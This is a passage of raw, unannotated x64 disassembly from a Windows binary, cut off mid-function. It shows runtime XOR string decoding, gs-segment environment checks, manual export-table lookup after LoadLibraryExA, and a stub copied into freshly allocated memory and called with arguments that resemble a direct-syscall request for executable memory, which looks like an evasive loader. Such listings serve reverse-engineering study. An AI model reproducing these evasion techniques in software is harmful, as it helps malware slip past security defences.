xor byte [rbp + r8 + 0x248], dil
inc r8
add r9, r13
add r10, 0x10
cmp r9, r11
jb 0x14002ed35
mov byte [rbp + 0x258], r14b
lea rcx, [rbp + 0x248]
call fcn.140028974
mov rax, qword gs:[0x3c]
mov esi, 0xc781a205
cmp rax, rsi
jne 0x14002ee67
mov rcx, qword gs:[0x45]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0x3450d54d
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0x59d65afc
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002ee47
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002ee47
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002ee67
mov rax, qword [rbp + 0xf30]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.14009e898
int3
lea rdi, [rbp + 0x285d0]
xor eax, eax
mov ecx, 0x105
rep stosb byte [rdi], al
mov r8d, 0x104
lea rdx, [rbp + 0x285d0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x14002f006
movdqa xmm0, xmmword [0x1400e5e00]
movdqu xmmword [rbp + 0x3f8], xmm0
mov word [rbp + 0x408], 0xfe
mov r10, r14
movabs r8, 0x1336d7cd22
mov r11, r12
movabs rsi, 0x12157fd01
movabs r9, 0x266daf9a44
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, rbx
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r10 + 0x3f8]
xor dil, r10b
mov byte [rbp + r10 + 0x3f8], dil
inc r10
add r8, r13
add r11, r12
cmp r8, r9
jb 0x14002eed1
mov byte [rbp + 0x409], r14b
movdqa xmm0, xmmword [0x1400e5e60]
movdqu xmmword [rbp + 0xb78], xmm0
movdqa xmm1, xmmword [0x1400e6080]
movdqu xmmword [rbp + 0xb88], xmm1
mov word [rbp + 0xb98], 0xf079
xor eax, eax
mov byte [rbp + 0xb9a], al
mov r8, r14
lea r10d, [rax + 0x22]
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, rbx
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0xb78], dil
inc r8
add r9, r13
add r10, 0x22
movabs rax, 0x4cdb5f3488
cmp r9, rax
jb 0x14002ef74
mov byte [rbp + 0xb9a], r14b
xor r9d, r9d
lea r8, [rbp + 0x3f8]
lea rdx, [rbp + 0xb78]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call fcn.14009e898
int3
mov rax, qword [rbp + 0xfe8]
mov edi, dword [rax + 0x50]
mov r13, qword [rbp + 0xe58]
mov qword [rbp + 0xf50], r13
cmp qword [0x1400f9d30], r14
jne 0x14002f048
mov ecx, 0x26b0
call fcn.1400a315c
test rax, rax
je 0x14002f048
mov qword [rax], r14
mov qword [rax + 8], 0x19c
mov qword [0x1400f9d30], rax
mov qword [rbp + 0xe60], r14
mov qword [rbp + 0x1020], rdi
movdqa xmm0, xmmword [0x1400e6060]
movdqu xmmword [rbp + 0x7e8], xmm0
mov dword [rbp + 0x7f8], 0x15d46150
mov dword [rbp + 0x7fc], 0x6e26d0
mov rdi, r14
movabs r13, 0xca8495ff84371
mov qword [rsp + 0x20], r13
mov r9d, reloc.WS2_32.dll_socket
mov r8, rdi
mov dl, byte [rbp + rdi + 0x7e8]
lea rcx, [rbp + 0x7e8]
call fcn.1400390a4
xor al, dil
mov byte [rbp + rdi + 0x7e8], al
inc rdi
cmp rdi, 0x17
jb 0x14002f087
mov byte [rbp + 0x7ff], r14b
or rdx, 0xffffffffffffffff
mov rbx, qword [0x1400f9d30]
test rbx, rbx
mov r13, qword [rbp + 0xf50]
je 0x14002f1a3
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x14002f15b
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
cmovb rcx, rdx
call fcn.1400a315c
mov rsi, rax
test rax, rax
je 0x14002f1a0
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x1400f9d30]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.1400c1350
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.1400c19f0
mov rcx, rdi
call fcn.1400a3038
mov qword [0x1400f9d30], rsi
mov rbx, rsi
lea rax, [rbp + 0x7e8]
mov qword [rbp + 0xf60], rax
mov qword [rbp + 0xf68], Ordinal_26
mov byte [rbp + 0xf70], 0
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf60]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf70]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
xor r14d, r14d
mov dword [rbp + 0x70], 0x84015c7a
mov dword [rbp + 0x74], 0xe3e51d90
mov word [rbp + 0x78], 0x88
mov rdi, r14
movabs rbx, 0xca8495ff84371
mov qword [rsp + 0x20], rbx
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x70]
lea rcx, [rbp + 0x70]
call fcn.140038fbc
xor al, dil
mov byte [rbp + rdi + 0x70], al
inc rdi
cmp rdi, 9
jb 0x14002f1c4
mov byte [rbp + 0x79], r14b
mov rbx, qword [0x1400f9d30]
test rbx, rbx
je 0x14002f2ce
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x14002f288
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.1400a315c
mov rsi, rax
test rax, rax
je 0x14002f2cb
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x1400f9d30]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.1400c1350
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.1400c19f0
mov rcx, rdi
call fcn.1400a3038
mov qword [0x1400f9d30], rsi
mov rbx, rsi
lea rax, [rbp + 0x70]
mov qword [rbp + 0xf60], rax
mov eax, 0xa
mov qword [rbp + 0xf68], rax
mov byte [rbp + 0xf70], 0
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf60]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf70]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
xor r14d, r14d
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [rbp + 0x70]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rcx, rax
test rax, rax
je 0x14002f4fd
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14002f4fd
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14002f4fd
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x14002f4fd
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov ebx, dword [rax + 0x24]
add rbx, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r14
mov esi, dword [rax + 0x18]
test rsi, rsi
je 0x14002f4fd
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x7e8]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x14002f362
inc rax
test edi, edi
jne 0x14002f34d
test r8d, r8d
je 0x14002f374
inc rdx
cmp rdx, rsi
jb 0x14002f33c
jmp 0x14002f4fd
movzx eax, word [rbx + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x14002f4fd
mov r14d, dword [rdx + 4]
xor r15d, r15d
test r14d, r14d
jns 0x14002f399
mov r14d, r15d
jmp 0x14002f4fd
mov r9d, 4
mov r8d, 0x3000
mov r12d, 0x1000
mov edx, r12d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
call fcn.1400978d0
or dword [rbp + 0x9b34], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x87b0]
call fcn.140039b80
lea rcx, [rbp + 0x87b0]
call fcn.140039118
mov ebx, eax
movabs rax, 0xc0906c513cedb3
mul rbx
mov ecx, ebx
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rbx, rax
mov rdi, r15
lea rcx, [rbp + 0x87b0]
call fcn.140039118
mov eax, eax
mov qword [rbp + rdi*8 + 0x466e0], rax
inc rdi
cmp rdi, 0x200
jl 0x14002f410
mov r8, r12
lea rdx, [rbp + 0x466e0]
mov rcx, rsi
call fcn.1400c1350
mov dword [0x1400f59c4], r14d
lea rdi, [rbx + rsi]
movsd xmm0, qword [0x1400f59c0]
movsd qword [rdi], xmm0
movzx eax, word [0x1400f59c8]
mov word [rdi + 8], ax
mov al, byte [0x1400f59ca]
mov byte [rdi + 0xa], al
mov dword [rbp + 0xfcc], r15d
lea r9, [rbp + 0xfcc]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov rdx, r12
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
lea r9, [rbp + 0x1020]
mov r8d, 3
lea rdx, [rbp + 0xe60]
mov rcx, r13
call rdi
mov r14d, eax
lea r9, [rbp + 0xfcc]
mov r8d, dword [rbp + 0xfcc]
mov rdx, r12
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8, r12
xor edx, edx
mov rcx, rsi
call fcn.1400c19f0
mov edx, listen
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x1400f59c4], r15d
mov rdi, qword [0x1400f9d30]
mov r15, qword [rdi]
mov rax, qword [rdi + 8]
lea rcx, [rax + rax*2]
lea r12, [rcx*8 + 0x10]
xor edx, edx
mov esi, edx
test r15, r15
jle 0x14002f5b1
lea rbx, [rdi + 0x10]
movups xmm1, xmmword [rbx]
movsd xmm0, qword [rbx + 0x10]
movsd qword [rbp + 0xf70], xmm0
movq rcx, xmm1
test rcx, rcx
je 0x14002f59f
psrldq xmm1, 8
movq r8, xmm1
test r8, r8
je 0x14002f59f
mov al, byte [rbp + 0xf70]
test al, al
jne 0x14002f564
xor edx, edx
call fcn.1400c19f0
jmp 0x14002f59d
cmp al, 1
jne 0x14002f59f
mov rdx, rcx
lea rcx, [rbp + 0x1168]
call fcn.1400398e8
xor edx, edx
lea rcx, [rbp + 0x1168]
call fcn.140039a9c
lea rcx, [rbp + 0x1168]
call fcn.140039a2c
lea rcx, [rbp + 0x1168]
call fcn.140006cf8
xor edx, edx
inc esi
add rbx, 0x18
movsxd rax, esi
cmp rax, r15
jl 0x14002f528
mov r8, r12
xor edx, edx
mov rcx, rdi
call fcn.1400c19f0
mov rcx, rdi
call fcn.1400a3038
xor r15d, r15d
mov qword [0x1400f9d30], r15
test r14d, r14d
js 0x140037a53
mov rax, qword [rbp + 0xe60]
mov qword [rbp - 0x28], rax
test rax, rax
je 0x140037a53
mov r13, qword [rbp + 0xe58]
mov ecx, 0x26b0
call fcn.1400a315c
test rax, rax
je 0x14002f615
mov qword [rax], r15
mov qword [rax + 8], 0x19c
mov qword [0x1400f9d30], rax
mov qword [rbp + 0xe68], r15
mov qword [rbp + 0x1010], 0x1000
movdqa xmm0, xmmword [0x1400e6060]
movdqu xmmword [rbp + 0x800], xmm0
mov dword [rbp + 0x810], 0x15d46150
mov dword [rbp + 0x814], 0x6e26d0
mov rdi, r15
movabs r14, 0xca8495ff84371
mov qword [rsp + 0x20], r14
mov r9d, reloc.WS2_32.dll_socket
mov r8, rdi
mov dl, byte [rbp + rdi + 0x800]
lea rcx, [rbp + 0x800]
call fcn.1400390a4
xor al, dil
mov byte [rbp + rdi + 0x800], al
inc rdi
cmp rdi, 0x17
jb 0x14002f658
mov byte [rbp + 0x817], r15b
mov rbx, qword [0x1400f9d30]
test rbx, rbx
je 0x14002f77f
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x14002f72b
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.1400a315c
mov rsi, rax
test rax, rax
je 0x14002f772
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x1400f9d30]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.1400c1350
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.1400c19f0
mov rcx, rdi
call fcn.1400a3038
mov qword [0x1400f9d30], rsi
mov rbx, rsi
xor r15d, r15d
lea rax, [rbp + 0x800]
mov qword [rbp + 0xf60], rax
mov qword [rbp + 0xf68], Ordinal_26
mov byte [rbp + 0xf70], r15b
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf60]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf70]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
jmp 0x14002f775
xor r15d, r15d
movabs r14, 0xca8495ff84371
mov dword [rbp + 0x60], 0x84015c7a
mov dword [rbp + 0x64], 0xe3e51d90
mov word [rbp + 0x68], 0x88
mov rdi, r15
mov qword [rsp + 0x20], r14
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x60]
lea rcx, [rbp + 0x60]
call fcn.140038fbc
xor al, dil
mov byte [rbp + rdi + 0x60], al
inc rdi
cmp rdi, 9
jb 0x14002f796
mov byte [rbp + 0x69], r15b
mov rbx, qword [0x1400f9d30]
test rbx, rbx
je 0x14002f8a5
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x14002f85d
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.1400a315c
mov rsi, rax
test rax, rax
je 0x14002f8a2
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x1400f9d30]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.1400c1350
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.1400c19f0
mov rcx, rdi
call fcn.1400a3038
mov qword [0x1400f9d30], rsi
mov rbx, rsi
xor r15d, r15d
lea rax, [rbp + 0x60]
mov qword [rbp + 0xf60], rax
mov eax, 0xa
mov qword [rbp + 0xf68], rax
mov byte [rbp + 0xf70], r15b
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf60]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf70]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
jmp 0x14002f8a5
xor r15d, r15d
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [rbp + 0x60]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rcx, rax
test rax, rax
je 0x14002f936
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14002f936
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14002f936
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x14002f936
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov ebx, dword [rax + 0x24]
add rbx, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r15
mov esi, dword [rax + 0x18]
test rsi, rsi
je 0x14002f936
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x800]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x14002f925
inc rax
test edi, edi
jne 0x14002f910
test r8d, r8d
je 0x14002f9b1
inc rdx
cmp rdx, rsi
jb 0x14002f8ff
mov r14d, r15d
mov rdi, qword [0x1400f9d30]
mov r15, qword [rdi]
mov rax, qword [rdi + 8]
lea rcx, [rax + rax*2]
lea r12, [rcx*8 + 0x10]
xor r13d, r13d
mov esi, r13d
test r15, r15
jle 0x14002fb80
lea rbx, [rdi + 0x10]
movups xmm1, xmmword [rbx]
movsd xmm0, qword [rbx + 0x10]
movsd qword [rbp + 0xf70], xmm0
movq rcx, xmm1
test rcx, rcx
je 0x14002fb6e
psrldq xmm1, 8
movq r8, xmm1
test r8, r8
je 0x14002fb6e
mov al, byte [rbp + 0xf70]
test al, al
jne 0x14002fb35
xor edx, edx
call fcn.1400c19f0
jmp 0x14002fb6e
movzx eax, word [rbx + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x14002f936
mov r14d, dword [rdx + 4]
test r14d, r14d
js 0x14002f936
cmp al, 1
jne 0x14002fb6e
mov rdx, rcx
lea rcx, [rbp + 0x1148]
call fcn.1400398e8
xor edx, edx
lea rcx, [rbp + 0x1148]
call fcn.140039a9c
lea rcx, [rbp + 0x1148]
call fcn.140039a2c
lea rcx, [rbp + 0x1148]
call fcn.140006cf8
inc esi
add rbx, 0x18
movsxd rax, esi
cmp rax, r15
jl 0x14002f966
mov r8, r12
xor edx, edx
mov rcx, rdi
call fcn.1400c19f0
mov rcx, rdi
call fcn.1400a3038
mov qword [0x1400f9d30], r13
test r14d, r14d
js 0x1400378ba
mov r12, qword [rbp + 0xe68]
mov qword [rbp - 0x50], r12
test r12, r12
je 0x1400378ba
movabs rax, 0xfc7aeea332188
mov qword [rbp + 0x1228], rax
movabs rax, 0xd9938cff1332a
mov qword [rbp + 0x1230], rax
lea rax, [r12 + 0x28]
mov qword [rbp + 0x1238], rax
mov rsi, qword [rbp - 0x28]
mov qword [rbp + 0x1240], rsi
mov rax, qword [rbp + 0xfe8]
mov eax, dword [rax + 0x50]
mov qword [rbp + 0x1248], rax
mov r14, qword [rsp + 0x70]
mov qword [rsp + 0x70], r14
movabs r15, 0xa9ff9483ccaeddf
mov qword [rbp + 0xf50], r15
mov qword [rbp + 0xf58], r13
mov r8d, r13d
mov rdi, r13
lea eax, [r8 + 1]
mov r8d, eax
movzx ecx, byte [rsp + rdi + 0x70]
imul ecx, eax
movzx eax, byte [rbp + rdi + 0xf50]
xor ecx, eax
mov eax, 0x80808081
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
mov byte [rbp + rdi + 0xf58], cl
inc rdi
cmp r8d, 8
jb 0x14002fc2b
mov ebx, r13d
mov rax, r13
lea r8, [rbp + 0x1228]
movabs r15, 0x8080808080808081
and eax, 7
movzx edi, byte [rbp + rax + 0xf58]
mov r11b, dil
xor r11b, 0x28
mov esi, edi
mov r9d, r13d
lea r10, [rbp + 0xf58]
movzx ecx, byte [r10]
movzx eax, dil
add rcx, rax
xor rcx, qword [rbp + 0xf58]
mov rax, r15
imul rcx
add rdx, rcx
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xff
mov rdi, rcx
sub rdi, rax
inc r9d
inc r10
cmp r9d, 8
jb 0x14002fca4
movzx ecx, r11b
add ecx, esi
movzx eax, dil
add ecx, eax
mov eax, 0x80808081
mul ecx
shr edx, 7
imul eax, edx, 0xff
sub ecx, eax
add cl, byte [r8]
xor cl, dil
mov byte [r8], cl
mov esi, 1
add ebx, esi
add r8, rsi
movsxd rax, ebx
cmp rax, 0x28
jb 0x14002fc86
mov qword [rbp + 0xf58], r14
movabs r15, 0xa9ff9483ccaeddf
mov qword [rsp + 0x70], r15
mov qword [rbp + 0xf50], r13
mov r8d, r13d
mov rdi, r13
lea eax, [r8 + 1]
mov r8d, eax
movzx ecx, byte [rbp + rdi + 0xf58]
imul ecx, eax
movzx eax, byte [rsp + rdi + 0x70]
xor ecx, eax
mov eax, 0x80808081
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
mov byte [rbp + rdi + 0xf50], cl
add rdi, rsi
cmp r8d, 8
jb 0x14002fd47
mov r11d, r13d
mov rax, r13
lea r8, [rbp + 0x285d0]
movabs r12, 0x8080808080808081
and eax, 7
movzx edi, byte [rbp + rax + 0xf50]
mov r10b, dil
xor r10b, 5
mov ebx, edi
mov ecx, r13d
lea r9, [rbp + 0xf50]
movzx edi, dil
movzx eax, byte [r9]
add rdi, rax
xor rdi, qword [rbp + 0xf50]
mov rax, r12
imul rdi
add rdx, rdi
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xff
sub rdi, rax
add ecx, esi
add r9, rsi
cmp ecx, 8
jb 0x14002fdc0
movdqa xmm0, xmmword [0x1400e5e00]
movdqu xmmword [rbp + 0x3b0], xmm0
mov word [rbp + 0x3c0], 0xfe
mov r10, r13
movabs rbx, 0x12157fd02
movabs rsi, 0x8080808080808081
movabs r8, 0x1336d7cd22
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r9, 0x266daf9a44
movabs r14, 0x12157fd01
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r10 + 0x3b0]
xor dil, r10b
mov byte [rbp + r10 + 0x3b0], dil
inc r10
add r8, rbx
add r11, 0x11
cmp r8, r9
jb 0x14003790e
mov byte [rbp + 0x3c1], r13b
movdqa xmm0, xmmword [0x1400e5f40]
movdqu xmmword [rbp + 0x958], xmm0
mov dword [rbp + 0x968], 0x3fe13b7f
mov dword [rbp + 0x96c], 0xa6594ae9
mov dword [rbp + 0x970], 0x5f427642
xor eax, eax
mov byte [rbp + 0x974], al
mov r8, r13
movabs r9, 0x1fa59fac38
lea r10d, [rax + 0x1c]
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x958], dil
inc r8
add r9, rbx
add r10, 0x1c
movabs rax, 0x3f4b3f5870
cmp r9, rax
jb 0x1400379c1
mov byte [rbp + 0x974], r13b
xor r9d, r9d
lea r8, [rbp + 0x3b0]
lea rdx, [rbp + 0x958]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call fcn.14009e898
int3
movdqa xmm0, xmmword [0x1400e5e00]
movdqu xmmword [rbp + 0x308], xmm0
mov word [rbp + 0x318], 0xfe
mov r10, r15
movabs rbx, 0x12157fd02
movabs rsi, 0x8080808080808081
movabs r8, 0x1336d7cd22
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r9, 0x266daf9a44
movabs r14, 0x12157fd01
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x308], dil
inc r10
add r8, rbx
add r11, 0x11
cmp r8, r9
jb 0x140037aa7
mov byte [rbp + 0x319], r15b
movdqa xmm0, xmmword [0x1400e5ea0]
movdqu xmmword [rbp + 0x740], xmm0
mov dword [rbp + 0x750], 0xa35f2b0
mov word [rbp + 0x754], 0xbe
mov r9, r15
mov r11d, reloc.WS2_32.dll_setsockopt
movabs r8, 0x17bc37c12a
movabs r10, 0x2f786f8254
mov cl, r9b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r9 + 0x740]
xor dil, r9b
mov byte [rbp + r9 + 0x740], dil
inc r9
add r8, rbx
add r11, 0x15
cmp r8, r10
jb 0x140037b4b
mov byte [rbp + 0x755], r15b
xor r9d, r9d
lea r8, [rbp + 0x308]
lea rdx, [rbp + 0x740]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call fcn.14009e898
int3
mov ebx, 0xc781a205
cmp rax, rbx
jne 0x140037c8b
mov rax, qword gs:[0x45]
movabs rcx, 0xfd0e4b779cf2199c
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140037c6b
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140037c6b
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140037c8b
mov rax, qword [rbp + 0xf30]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.14009e898
int3
movdqa xmm0, xmmword [0x1400e5e00]
movdqu xmmword [rbp + 0x350], xmm0
mov word [rbp + 0x360], 0xfe
mov r10, r14
movabs r8, 0x1336d7cd22
mov r11, r12
movabs rsi, 0x8080808080808081
movabs r9, 0x266daf9a44
movabs r15, 0x12157fd01
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r15
shr rdi, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x350], dil
inc r10
add r8, r13
add r11, r12
cmp r8, r9
jb 0x140037cd2
mov byte [rbp + 0x361], r14b
movdqa xmm0, xmmword [0x1400e5e70]
movdqu xmmword [rbp + 0x818], xmm0
mov dword [rbp + 0x828], 0x71e8fb48
mov dword [rbp + 0x82c], 0x2c7df3
mov r8, r14
movabs r9, 0x19fee7bb2e
mov r10d, reloc.WS2_32.dll_socket
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r15
shr rdi, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0x818]
xor dil, r8b
mov byte [rbp + r8 + 0x818], dil
inc r8
add r9, r13
add r10, 0x17
movabs rax, 0x33fdcf765c
cmp r9, rax
jb 0x140037d6c
mov byte [rbp + 0x82f], r14b
xor r9d, r9d
lea r8, [rbp + 0x350]
lea rdx, [rbp + 0x818]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x3c]
cmp rax, rbx
jne 0x140037eba
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0x13d4ec0d
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0x3450d54d
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0x59d65afc
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140037e9a
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140037e9a
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140037eba
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
